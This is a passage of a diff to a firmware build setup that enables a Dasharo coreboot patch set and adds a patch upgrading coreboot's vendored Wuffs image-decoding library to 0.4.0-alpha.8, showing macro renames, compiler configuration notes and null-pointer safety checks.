b/modules/coreboot @@ -96,7 +96,7 @@ $(eval $(call coreboot_module,purism,24.02.01)) coreboot-dasharo_repo := https://github.com/dasharo/coreboot coreboot-dasharo_commit_hash := 9ead4a0789595fc6b6b0327e168088893b6ea592 $(eval $(call coreboot_module,dasharo,24.02.01)) -#coreboot-dasharo_patch_version := unreleased +coreboot-dasharo_patch_version := unreleased # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" diff --git a/patches/coreboot-dasharo-unreleased/0001-vc_wuffs-upgrade-to-Wuffs_0.4.0-alpha.8.patch b/patches/coreboot-dasharo-unreleased/0001-vc_wuffs-upgrade-to-Wuffs_0.4.0-alpha.8.patch new file mode 100644 index 000000000..7208d5ebc --- /dev/null +++ b/patches/coreboot-dasharo-unreleased/0001-vc_wuffs-upgrade-to-Wuffs_0.4.0-alpha.8.patch @@ -0,0 +1,111421 @@ +From b598d05d389e137baa10e277a37fca2c363fb295 Mon Sep 17 00:00:00 2001 +From: Nigel Tao +Date: Tue, 13 Aug 2024 22:10:52 +1000 +Subject: [PATCH] vc/wuffs: upgrade to Wuffs 0.4.0-alpha.8 + +We were previously at Wuffs 0.4.0-alpha.2. The C file was copied from +https://github.com/google/wuffs-mirror-release-c and its hash matches +https://github.com/google/wuffs-mirror-release-c/blob/90e4d81a6a8b7b601e8e568da32a105d7f7705e5/sync.txt#L9-L10 + +$ sha256sum src/vendorcode/wuffs/wuffs-v0.4.c +6c22caff4af929112601379a73f72461bc4719a5215366bcc90d599cbc442bb6 src/vendorcode/wuffs/wuffs-v0.4.c + +Change-Id: Ie90d989384e0db2b23d7d1b3d9a57920ac8a95a2 +Signed-off-by: Nigel Tao +Reviewed-on: https://review.coreboot.org/c/coreboot/+/83894 +Reviewed-by: Felix Singer +Reviewed-by: Nico Huber +Tested-by: build bot (Jenkins) +--- + src/vendorcode/wuffs/wuffs-v0.4.c | 101194 ++++++++++++++++----------- + 1 file changed, 58878 insertions(+), 42316 deletions(-) + +diff --git a/src/vendorcode/wuffs/wuffs-v0.4.c b/src/vendorcode/wuffs/wuffs-v0.4.c +index bce9eb9798..0c6616a652 100644 +--- a/src/vendorcode/wuffs/wuffs-v0.4.c ++++ b/src/vendorcode/wuffs/wuffs-v0.4.c +@@ -81,15 +81,43 @@ extern "C" { + // each major.minor branch, the commit count should increase monotonically. + // + // WUFFS_VERSION was overridden by "wuffs gen -version" based on revision +-// ae8531f7f846fbbe3a7340bf88499ad294a1367b committed on 2023-10-07. ++// 5d69840f8e7ca481551b02c7e8d4c5fb69521bb9 committed on 2024-08-12. + #define WUFFS_VERSION 0x000040000 + #define WUFFS_VERSION_MAJOR 0 + #define WUFFS_VERSION_MINOR 4 + #define WUFFS_VERSION_PATCH 0 +-#define WUFFS_VERSION_PRE_RELEASE_LABEL "alpha.2" +-#define WUFFS_VERSION_BUILD_METADATA_COMMIT_COUNT 3603 +-#define WUFFS_VERSION_BUILD_METADATA_COMMIT_DATE 20231007 +-#define WUFFS_VERSION_STRING "0.4.0-alpha.2+3603.20231007" ++#define WUFFS_VERSION_PRE_RELEASE_LABEL "alpha.8" ++#define WUFFS_VERSION_BUILD_METADATA_COMMIT_COUNT 3796 ++#define WUFFS_VERSION_BUILD_METADATA_COMMIT_DATE 20240812 ++#define WUFFS_VERSION_STRING "0.4.0-alpha.8+3796.20240812" ++ ++// ---------------- Private Implementation Macros Re-definition Check ++ ++// Users (those who #include the "wuffs-vM.N.c" file) should not define any ++// WUFFS_PRIVATE_IMPL__ETC macros, only WUFFS_CONFIG__ETC macros (and ++// WUFFS_IMPLEMENTATION). Mucking about with the private implementation macros ++// is not supported and may break when upgrading to newer Wuffs versions. ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) || \ ++ defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) || \ ++ defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) || \ ++ defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) || \ ++ defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) || \ ++ defined(WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) || \ ++ defined(WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) || \ ++ defined(WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL) || \ ++ defined(WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U16) || \ ++ defined(WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32) || \ ++ defined(WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64) || \ ++ defined(WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U8) ++ ++#if defined(__GNUC__) || defined(__clang__) ++#warning "Defining WUFFS_PRIVATE_IMPL__ETC yourself is not supported" ++#elif defined(_MSC_VER) ++#pragma message("Defining WUFFS_PRIVATE_IMPL__ETC yourself is not supported") ++#endif ++ ++#endif + + // ---------------- Configuration + +@@ -117,11 +145,11 @@ extern "C" { + // intrinsics. Look for __ARM_FEATURE_CRC32 instead. + #if defined(__ARM_FEATURE_CRC32) + #include +-#define WUFFS_BASE__CPU_ARCH__ARM_CRC32 ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32 + #endif // defined(__ARM_FEATURE_CRC32) + #if defined(__ARM_NEON) + #include +-#define WUFFS_BASE__CPU_ARCH__ARM_NEON ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON + #endif // defined(__ARM_NEON) + #endif // defined(__ARM_FEATURE_UNALIGNED) etc + +@@ -129,26 +157,82 @@ extern "C" { + // POPCNT. This is checked at runtime via cpuid, not at compile time. + // + // Likewise, "cpu_arch >= x86_avx2" also requires PCLMUL, POPCNT and SSE4.2. +-#if defined(__i386__) || defined(__x86_64__) ++// ++// ---- ++// ++// Technically, we could use the SSE family on 32-bit x86, not just 64-bit x86. ++// But some intrinsics don't compile in 32-bit mode. It's not worth the hassle. ++// https://github.com/google/wuffs/issues/145 ++#if defined(__x86_64__) + #if !defined(__native_client__) + #include + #include +-// X86_FAMILY means X86 (32-bit) or X86_64 (64-bit, obviously). +-#define WUFFS_BASE__CPU_ARCH__X86_FAMILY +-#if defined(__x86_64__) +-#define WUFFS_BASE__CPU_ARCH__X86_64 +-#endif // defined(__x86_64__) ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64 ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2 ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3 + #endif // !defined(__native_client__) +-#endif // defined(__i386__) || defined(__x86_64__) ++#endif // defined(__x86_64__) + + #elif defined(_MSC_VER) // (#if-chain ref AVOID_CPU_ARCH_1) + +-#if defined(_M_IX86) || defined(_M_X64) +-#if defined(__AVX__) || defined(__clang__) ++#if defined(_M_X64) ++ ++// On X86_64, Microsoft Visual C/C++ (MSVC) only supports SSE2 by default. ++// There are /arch:SSE2, /arch:AVX and /arch:AVX2 compiler flags (the AVX2 one ++// is roughly equivalent to X86_64_V3), but there is no /arch:SSE42 compiler ++// flag that's equivalent to X86_64_V2. ++// ++// For getting maximum performance with X86_64 MSVC and Wuffs, pass /arch:AVX2 ++// (and then test on the oldest hardware you intend to support). ++// ++// Absent that compiler flag, either define one of the three macros listed ++// below or else the X86_64 SIMD code will be disabled and you'll get a #pragma ++// message stating this library "performs best with /arch:AVX2". This message ++// is harmless and ignorable, in that the non-SIMD code is still correct and ++// reasonably performant, but is a reminder that when combining Wuffs and MSVC, ++// some compiler configuration is required for maximum performance. ++// ++// - WUFFS_CONFIG__DISABLE_MSVC_CPU_ARCH__X86_64_FAMILY ++// - WUFFS_CONFIG__ENABLE_MSVC_CPU_ARCH__X86_64_V2 (enables SSE4.2 and below) ++// - WUFFS_CONFIG__ENABLE_MSVC_CPU_ARCH__X86_64_V3 (enables AVX2 and below) ++// ++// Defining the first one (WUFFS_CONFIG__DISABLE_MSVC_CPU_ARCH__X86_64_FAMILY) ++// or defining none of those three (the default state) are equivalent (in that ++// both disable the SIMD code paths), other than that pragma message. ++// ++// When defining these WUFFS_CONFIG__ENABLE_ETC macros with MSVC, be aware that ++// some users report it leading to ICEs (Internal Compiler Errors), but other ++// users report no problems at all (and improved performance). It's unclear ++// exactly what combination of SIMD code and MSVC configuration lead to ICEs. ++// Do your own testing with your own MSVC version and configuration. ++// ++// https://github.com/google/wuffs/issues/148 ++// https://github.com/google/wuffs/issues/151 ++// https://developercommunity.visualstudio.com/t/fatal--error-C1001:-Internal-compiler-er/10703305 ++// ++// Clang (including clang-cl) and GCC don't need this WUFFS_CONFIG__ETC macro ++// machinery, or having the Wuffs-the-library user to fiddle with compiler ++// flags, because they support "__attribute__((target(arg)))". ++#if defined(__AVX2__) || defined(__clang__) || \ ++ defined(WUFFS_CONFIG__ENABLE_MSVC_CPU_ARCH__X86_64_V3) ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64 ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2 ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3 ++#elif defined(WUFFS_CONFIG__ENABLE_MSVC_CPU_ARCH__X86_64_V2) ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64 ++#define WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2 ++#elif !defined(WUFFS_CONFIG__DISABLE_MSVC_CPU_ARCH__X86_64_FAMILY) ++#pragma message("Wuffs with MSVC+X64 performs best with /arch:AVX2") ++#endif // defined(__AVX2__) || defined(__clang__) || etc ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) ++ ++#if defined(WUFFS_CONFIG__DISABLE_MSVC_CPU_ARCH__X86_64_FAMILY) ++#error "MSVC_CPU_ARCH simultaneously enabled and disabled" ++#endif + +-// We need for the __cpuid function. + #include +-// That's not enough for X64 SIMD, with clang-cl, if we want to use ++// intrin.h isn't enough for X64 SIMD, with clang-cl, if we want to use + // "__attribute__((target(arg)))" without e.g. "/arch:AVX". + // + // Some web pages suggest that is all you need, as it pulls in +@@ -157,25 +241,9 @@ extern "C" { + #include // AVX, AVX2, FMA, POPCNT + #include // SSE4.2 + #include // AES, PCLMUL +-// X86_FAMILY means X86 (32-bit) or X86_64 (64-bit, obviously). +-#define WUFFS_BASE__CPU_ARCH__X86_FAMILY +-#if defined(_M_X64) +-#define WUFFS_BASE__CPU_ARCH__X86_64 +-#endif // defined(_M_X64) +- +-#else // defined(__AVX__) || defined(__clang__) +- +-// clang-cl (which defines both __clang__ and _MSC_VER) supports +-// "__attribute__((target(arg)))". +-// +-// For MSVC's cl.exe (unlike clang or gcc), SIMD capability is a compile-time +-// property of the source file (e.g. a /arch:AVX or -mavx compiler flag), not +-// of individual functions (that can be conditionally selected at runtime). +-#pragma message("Wuffs with MSVC+IX86/X64 needs /arch:AVX for best performance") +- +-#endif // defined(__AVX__) || defined(__clang__) +-#endif // defined(_M_IX86) || defined(_M_X64) + ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) ++#endif // defined(_M_X64) + #endif // (#if-chain ref AVOID_CPU_ARCH_1) + #endif // (#if-chain ref AVOID_CPU_ARCH_0) + +@@ -198,20 +266,20 @@ extern "C" { + + static inline bool // + wuffs_base__cpu_arch__have_arm_crc32(void) { +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) + return true; + #else + return false; +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_CRC32) ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_CRC32) + } + + static inline bool // + wuffs_base__cpu_arch__have_arm_neon(void) { +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) + return true; + #else + return false; +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__ARM_NEON) + } + + static inline bool // +@@ -220,7 +288,7 @@ wuffs_base__cpu_arch__have_x86_avx2(void) { + defined(__AVX2__) + return true; + #else +-#if defined(WUFFS_BASE__CPU_ARCH__X86_64) ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) + // GCC defines these macros but MSVC does not. + // - bit_AVX2 = (1 << 5) + const unsigned int avx2_ebx7 = 0x00000020; +@@ -258,9 +326,9 @@ wuffs_base__cpu_arch__have_x86_avx2(void) { + } + } + #else +-#error "WUFFS_BASE__CPU_ARCH__ETC combined with an unsupported compiler" ++#error "WUFFS_PRIVATE_IMPL__CPU_ARCH__ETC combined with an unsupported compiler" + #endif // defined(__GNUC__); defined(_MSC_VER) +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_64) ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) + return false; + #endif // defined(__PCLMUL__) && defined(__POPCNT__) && defined(__SSE4_2__) && + // defined(__AVX2__) +@@ -271,7 +339,7 @@ wuffs_base__cpu_arch__have_x86_bmi2(void) { + #if defined(__BMI2__) + return true; + #else +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) + // GCC defines these macros but MSVC does not. + // - bit_BMI2 = (1 << 8) + const unsigned int bmi2_ebx7 = 0x00000100; +@@ -293,9 +361,9 @@ wuffs_base__cpu_arch__have_x86_bmi2(void) { + return true; + } + #else +-#error "WUFFS_BASE__CPU_ARCH__ETC combined with an unsupported compiler" ++#error "WUFFS_PRIVATE_IMPL__CPU_ARCH__ETC combined with an unsupported compiler" + #endif // defined(__GNUC__); defined(_MSC_VER) +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) + return false; + #endif // defined(__BMI2__) + } +@@ -305,7 +373,7 @@ wuffs_base__cpu_arch__have_x86_sse42(void) { + #if defined(__PCLMUL__) && defined(__POPCNT__) && defined(__SSE4_2__) + return true; + #else +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) + // GCC defines these macros but MSVC does not. + // - bit_PCLMUL = (1 << 1) + // - bit_POPCNT = (1 << 23) +@@ -329,9 +397,9 @@ wuffs_base__cpu_arch__have_x86_sse42(void) { + return true; + } + #else +-#error "WUFFS_BASE__CPU_ARCH__ETC combined with an unsupported compiler" ++#error "WUFFS_PRIVATE_IMPL__CPU_ARCH__ETC combined with an unsupported compiler" + #endif // defined(__GNUC__); defined(_MSC_VER) +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64) + return false; + #endif // defined(__PCLMUL__) && defined(__POPCNT__) && defined(__SSE4_2__) + } +@@ -350,9 +418,15 @@ wuffs_base__cpu_arch__have_x86_sse42(void) { + // The "defined(__clang__)" isn't redundant. While vanilla clang defines + // __GNUC__, clang-cl (which mimics MSVC's cl.exe) does not. + #if defined(__GNUC__) || defined(__clang__) ++#define WUFFS_BASE__FORCE_INLINE __attribute__((__always_inline__)) + #define WUFFS_BASE__POTENTIALLY_UNUSED __attribute__((unused)) + #define WUFFS_BASE__WARN_UNUSED_RESULT __attribute__((warn_unused_result)) ++#elif defined(_MSC_VER) ++#define WUFFS_BASE__FORCE_INLINE __forceinline ++#define WUFFS_BASE__POTENTIALLY_UNUSED ++#define WUFFS_BASE__WARN_UNUSED_RESULT + #else ++#define WUFFS_BASE__FORCE_INLINE + #define WUFFS_BASE__POTENTIALLY_UNUSED + #define WUFFS_BASE__WARN_UNUSED_RESULT + #endif +@@ -415,6 +489,37 @@ struct wuffs_unique_ptr_deleter { + + // -------- + ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wcast-qual" ++#endif ++ ++static inline uint8_t* // ++wuffs_base__strip_const_from_u8_ptr(const uint8_t* ptr) { ++ return (uint8_t*)ptr; ++} ++ ++static inline uint16_t* // ++wuffs_base__strip_const_from_u16_ptr(const uint16_t* ptr) { ++ return (uint16_t*)ptr; ++} ++ ++static inline uint32_t* // ++wuffs_base__strip_const_from_u32_ptr(const uint32_t* ptr) { ++ return (uint32_t*)ptr; ++} ++ ++static inline uint64_t* // ++wuffs_base__strip_const_from_u64_ptr(const uint64_t* ptr) { ++ return (uint64_t*)ptr; ++} ++ ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ ++// -------- ++ + // wuffs_base__empty_struct is used when a Wuffs function returns an empty + // struct. In C, if a function f returns void, you can't say "x = f()", but in + // Wuffs, if a function g returns empty, you can say "y = g()". +@@ -483,6 +588,7 @@ extern const char wuffs_base__suspension__even_more_information[]; + extern const char wuffs_base__suspension__mispositioned_read[]; + extern const char wuffs_base__suspension__mispositioned_write[]; + extern const char wuffs_base__suspension__short_read[]; ++extern const char wuffs_base__suspension__short_workbuf[]; + extern const char wuffs_base__suspension__short_write[]; + extern const char wuffs_base__error__bad_i_o_position[]; + extern const char wuffs_base__error__bad_argument_length_too_short[]; +@@ -496,9 +602,11 @@ extern const char wuffs_base__error__bad_vtable[]; + extern const char wuffs_base__error__bad_workbuf_length[]; + extern const char wuffs_base__error__bad_wuffs_version[]; + extern const char wuffs_base__error__cannot_return_a_suspension[]; ++extern const char wuffs_base__error__disabled_by_wuffs_config_dst_pixel_format_enable_allowlist[]; + extern const char wuffs_base__error__disabled_by_previous_error[]; + extern const char wuffs_base__error__initialize_falsely_claimed_already_zeroed[]; + extern const char wuffs_base__error__initialize_not_called[]; ++extern const char wuffs_base__error__insufficient_history[]; + extern const char wuffs_base__error__interleaved_coroutine_calls[]; + extern const char wuffs_base__error__no_more_information[]; + extern const char wuffs_base__error__not_enough_data[]; +@@ -728,6 +836,9 @@ typedef struct wuffs_base__transform__output__struct { + // Lempel–Ziv 4. + #define WUFFS_BASE__FOURCC__LZ4 0x4C5A3420 + ++// Lzip. ++#define WUFFS_BASE__FOURCC__LZIP 0x4C5A4950 ++ + // Lempel–Ziv Markov-chain Algorithm. + #define WUFFS_BASE__FOURCC__LZMA 0x4C5A4D41 + +@@ -839,6 +950,8 @@ typedef struct wuffs_base__transform__output__struct { + + #define WUFFS_BASE__QUIRK_IGNORE_CHECKSUM 1 + ++#define WUFFS_BASE__QUIRK_QUALITY 2 ++ + // -------- + + // Flicks are a unit of time. One flick (frame-tick) is 1 / 705_600_000 of a +@@ -1092,6 +1205,96 @@ wuffs_base__multiply_u64(uint64_t x, uint64_t y) { + + // -------- + ++typedef struct wuffs_base__bitvec256__struct { ++ // elements_u64[0] holds the LSBs (least significant bits) and ++ // elements_u64[3] holds the MSBs (most significant bits). ++ uint64_t elements_u64[4]; ++} wuffs_base__bitvec256; ++ ++static inline wuffs_base__bitvec256 // ++wuffs_base__make_bitvec256(uint64_t e00, ++ uint64_t e01, ++ uint64_t e02, ++ uint64_t e03) { ++ wuffs_base__bitvec256 res; ++ res.elements_u64[0] = e00; ++ res.elements_u64[1] = e01; ++ res.elements_u64[2] = e02; ++ res.elements_u64[3] = e03; ++ return res; ++} ++ ++static inline uint64_t // ++wuffs_base__bitvec256__get_u64(const wuffs_base__bitvec256* b, uint32_t i) { ++ return b->elements_u64[i & 3]; ++} ++ ++// -------- ++ ++// wuffs_base__optional_u63 is like a std::optional, but for C (not ++// just C++) and the value can only hold 63 bits (not 64). ++// ++// Do not manipulate repr directly; it is a private implementation detail. ++typedef struct wuffs_base__optional_u63__struct { ++ uint64_t repr; ++ ++#ifdef __cplusplus ++ inline bool has_value() const; ++ inline uint64_t value() const; ++ inline uint64_t value_or(uint64_t default_value) const; ++#endif // __cplusplus ++ ++} wuffs_base__optional_u63; ++ ++// wuffs_base__make_optional_u63 ignores value when has_value is false. ++// ++// Preconditions: ++// - value < (1 << 63). ++static inline wuffs_base__optional_u63 // ++wuffs_base__make_optional_u63(bool has_value, uint64_t value) { ++ wuffs_base__optional_u63 res; ++ res.repr = has_value ? ((value << 1u) | 1u) : 0u; ++ return res; ++} ++ ++static inline bool // ++wuffs_base__optional_u63__has_value(const wuffs_base__optional_u63* o) { ++ return o->repr; ++} ++ ++// wuffs_base__optional_u63__value returns zero when o does not have a value. ++static inline uint64_t // ++wuffs_base__optional_u63__value(const wuffs_base__optional_u63* o) { ++ return o->repr >> 1u; ++} ++ ++static inline uint64_t // ++wuffs_base__optional_u63__value_or(const wuffs_base__optional_u63* o, ++ uint64_t default_value) { ++ return o->repr ? (o->repr >> 1u) : default_value; ++} ++ ++#ifdef __cplusplus ++ ++inline bool // ++wuffs_base__optional_u63::has_value() const { ++ return wuffs_base__optional_u63__has_value(this); ++} ++ ++inline uint64_t // ++wuffs_base__optional_u63::value() const { ++ return wuffs_base__optional_u63__value(this); ++} ++ ++inline uint64_t // ++wuffs_base__optional_u63::value_or(uint64_t default_value) const { ++ return wuffs_base__optional_u63__value_or(this, default_value); ++} ++ ++#endif // __cplusplus ++ ++// -------- ++ + // The "defined(__clang__)" isn't redundant. While vanilla clang defines + // __GNUC__, clang-cl (which mimics MSVC's cl.exe) does not. + #if (defined(__GNUC__) || defined(__clang__)) && (__SIZEOF_LONG__ == 8) +@@ -1529,7 +1732,7 @@ wuffs_base__make_slice_u64(uint64_t* ptr, size_t len) { + static inline wuffs_base__slice_u8 // + wuffs_base__make_slice_u8_ij(uint8_t* ptr, size_t i, size_t j) { + wuffs_base__slice_u8 ret; +- ret.ptr = ptr + i; ++ ret.ptr = ptr ? (ptr + i) : NULL; + ret.len = (j >= i) ? (j - i) : 0; + return ret; + } +@@ -1537,7 +1740,7 @@ wuffs_base__make_slice_u8_ij(uint8_t* ptr, size_t i, size_t j) { + static inline wuffs_base__slice_u16 // + wuffs_base__make_slice_u16_ij(uint16_t* ptr, size_t i, size_t j) { + wuffs_base__slice_u16 ret; +- ret.ptr = ptr + i; ++ ret.ptr = ptr ? (ptr + i) : NULL; + ret.len = (j >= i) ? (j - i) : 0; + return ret; + } +@@ -1545,7 +1748,7 @@ wuffs_base__make_slice_u16_ij(uint16_t* ptr, size_t i, size_t j) { + static inline wuffs_base__slice_u32 // + wuffs_base__make_slice_u32_ij(uint32_t* ptr, size_t i, size_t j) { + wuffs_base__slice_u32 ret; +- ret.ptr = ptr + i; ++ ret.ptr = ptr ? (ptr + i) : NULL; + ret.len = (j >= i) ? (j - i) : 0; + return ret; + } +@@ -1553,7 +1756,7 @@ wuffs_base__make_slice_u32_ij(uint32_t* ptr, size_t i, size_t j) { + static inline wuffs_base__slice_u64 // + wuffs_base__make_slice_u64_ij(uint64_t* ptr, size_t i, size_t j) { + wuffs_base__slice_u64 ret; +- ret.ptr = ptr + i; ++ ret.ptr = ptr ? (ptr + i) : NULL; + ret.len = (j >= i) ? (j - i) : 0; + return ret; + } +@@ -1696,7 +1899,7 @@ wuffs_base__slice_u8__subslice_i(wuffs_base__slice_u8 s, uint64_t i) { + if ((i <= SIZE_MAX) && (i <= s.len)) { + return wuffs_base__make_slice_u8(s.ptr + i, ((size_t)(s.len - i))); + } +- return wuffs_base__make_slice_u8(NULL, 0); ++ return wuffs_base__empty_slice_u8(); + } + + // wuffs_base__slice_u8__subslice_j returns s[:j]. +@@ -1707,7 +1910,7 @@ wuffs_base__slice_u8__subslice_j(wuffs_base__slice_u8 s, uint64_t j) { + if ((j <= SIZE_MAX) && (j <= s.len)) { + return wuffs_base__make_slice_u8(s.ptr, ((size_t)j)); + } +- return wuffs_base__make_slice_u8(NULL, 0); ++ return wuffs_base__empty_slice_u8(); + } + + // wuffs_base__slice_u8__subslice_ij returns s[i:j]. +@@ -1720,7 +1923,7 @@ wuffs_base__slice_u8__subslice_ij(wuffs_base__slice_u8 s, + if ((i <= j) && (j <= SIZE_MAX) && (j <= s.len)) { + return wuffs_base__make_slice_u8(s.ptr + i, ((size_t)(j - i))); + } +- return wuffs_base__make_slice_u8(NULL, 0); ++ return wuffs_base__empty_slice_u8(); + } + + // wuffs_base__table_u8__subtable_ij returns t[ix:jx, iy:jy]. +@@ -1814,6 +2017,20 @@ WUFFS_BASE__MAYBE_STATIC int32_t // + wuffs_base__magic_number_guess_fourcc(wuffs_base__slice_u8 prefix_data, + bool prefix_closed); + ++// ---------------- Quirk Values ++ ++// These constants are the value half of a key-value pair, where the key is ++// WUFFS_BASE__QUIRK_QUALITY. ++// ++// In the Wuffs API, set_quirk takes a u64 value. These macro definitions are ++// likewise unsigned values (uint64_t) but for this particular key, they are ++// best interpreted as signed values (int64_t). "Lower-than-default quality" ++// and "higher-than-default quality", as signed values, are -1 and +1. ++// ++// See doc/note/quirks.md for some more discussion about trade-offs. ++#define WUFFS_BASE__QUIRK_QUALITY__VALUE__LOWER_QUALITY UINT64_MAX ++#define WUFFS_BASE__QUIRK_QUALITY__VALUE__HIGHER_QUALITY ((uint64_t)1) ++ + // ---------------- Ranges and Rects + + // See https://github.com/google/wuffs/blob/main/doc/note/ranges-and-rects.md +@@ -3011,7 +3228,8 @@ wuffs_base__io_buffer__compact(wuffs_base__io_buffer* buf) { + // wuffs_base__io_buffer__compact_retaining moves any written but unread bytes + // closer to the start of the buffer. It retains H bytes of history (the most + // recently read bytes), where H is min(buf->meta.ri, history_retain_length). +-// A postcondition is that buf->meta.ri == H. ++// It is therefore a no-op if history_retain_length is UINT64_MAX. A ++// postcondition is that buf->meta.ri == H. + // + // wuffs_base__io_buffer__compact_retaining(0) is equivalent to + // wuffs_base__io_buffer__compact(). +@@ -3056,7 +3274,7 @@ wuffs_base__io_buffer__reader_length(const wuffs_base__io_buffer* buf) { + + static inline uint8_t* // + wuffs_base__io_buffer__reader_pointer(const wuffs_base__io_buffer* buf) { +- return buf ? (buf->data.ptr + buf->meta.ri) : NULL; ++ return (buf && buf->data.ptr) ? (buf->data.ptr + buf->meta.ri) : NULL; + } + + static inline uint64_t // +@@ -3066,7 +3284,8 @@ wuffs_base__io_buffer__reader_position(const wuffs_base__io_buffer* buf) { + + static inline wuffs_base__slice_u8 // + wuffs_base__io_buffer__reader_slice(const wuffs_base__io_buffer* buf) { +- return buf ? wuffs_base__make_slice_u8(buf->data.ptr + buf->meta.ri, ++ return (buf && buf->data.ptr) ++ ? wuffs_base__make_slice_u8(buf->data.ptr + buf->meta.ri, + buf->meta.wi - buf->meta.ri) + : wuffs_base__empty_slice_u8(); + } +@@ -3078,7 +3297,7 @@ wuffs_base__io_buffer__writer_length(const wuffs_base__io_buffer* buf) { + + static inline uint8_t* // + wuffs_base__io_buffer__writer_pointer(const wuffs_base__io_buffer* buf) { +- return buf ? (buf->data.ptr + buf->meta.wi) : NULL; ++ return (buf && buf->data.ptr) ? (buf->data.ptr + buf->meta.wi) : NULL; + } + + static inline uint64_t // +@@ -3088,7 +3307,8 @@ wuffs_base__io_buffer__writer_position(const wuffs_base__io_buffer* buf) { + + static inline wuffs_base__slice_u8 // + wuffs_base__io_buffer__writer_slice(const wuffs_base__io_buffer* buf) { +- return buf ? wuffs_base__make_slice_u8(buf->data.ptr + buf->meta.wi, ++ return (buf && buf->data.ptr) ++ ? wuffs_base__make_slice_u8(buf->data.ptr + buf->meta.wi, + buf->data.len - buf->meta.wi) + : wuffs_base__empty_slice_u8(); + } +@@ -3183,49 +3403,53 @@ wuffs_base__make_token(uint64_t repr) { + + // -------- + ++// clang-format off ++ ++// -------- ++ + #define WUFFS_BASE__TOKEN__LENGTH__MAX_INCL 0xFFFF + +-#define WUFFS_BASE__TOKEN__VALUE__SHIFT 17 +-#define WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT 17 +-#define WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT 42 +-#define WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT 17 ++#define WUFFS_BASE__TOKEN__VALUE__SHIFT 17 ++#define WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT 17 ++#define WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT 42 ++#define WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT 17 + #define WUFFS_BASE__TOKEN__VALUE_BASE_CATEGORY__SHIFT 38 +-#define WUFFS_BASE__TOKEN__VALUE_BASE_DETAIL__SHIFT 17 +-#define WUFFS_BASE__TOKEN__CONTINUED__SHIFT 16 +-#define WUFFS_BASE__TOKEN__LENGTH__SHIFT 0 ++#define WUFFS_BASE__TOKEN__VALUE_BASE_DETAIL__SHIFT 17 ++#define WUFFS_BASE__TOKEN__CONTINUED__SHIFT 16 ++#define WUFFS_BASE__TOKEN__LENGTH__SHIFT 0 + +-#define WUFFS_BASE__TOKEN__VALUE_EXTENSION__NUM_BITS 46 ++#define WUFFS_BASE__TOKEN__VALUE_EXTENSION__NUM_BITS 46 + + // -------- + +-#define WUFFS_BASE__TOKEN__VBC__FILLER 0 +-#define WUFFS_BASE__TOKEN__VBC__STRUCTURE 1 +-#define WUFFS_BASE__TOKEN__VBC__STRING 2 +-#define WUFFS_BASE__TOKEN__VBC__UNICODE_CODE_POINT 3 +-#define WUFFS_BASE__TOKEN__VBC__LITERAL 4 +-#define WUFFS_BASE__TOKEN__VBC__NUMBER 5 +-#define WUFFS_BASE__TOKEN__VBC__INLINE_INTEGER_SIGNED 6 ++#define WUFFS_BASE__TOKEN__VBC__FILLER 0 ++#define WUFFS_BASE__TOKEN__VBC__STRUCTURE 1 ++#define WUFFS_BASE__TOKEN__VBC__STRING 2 ++#define 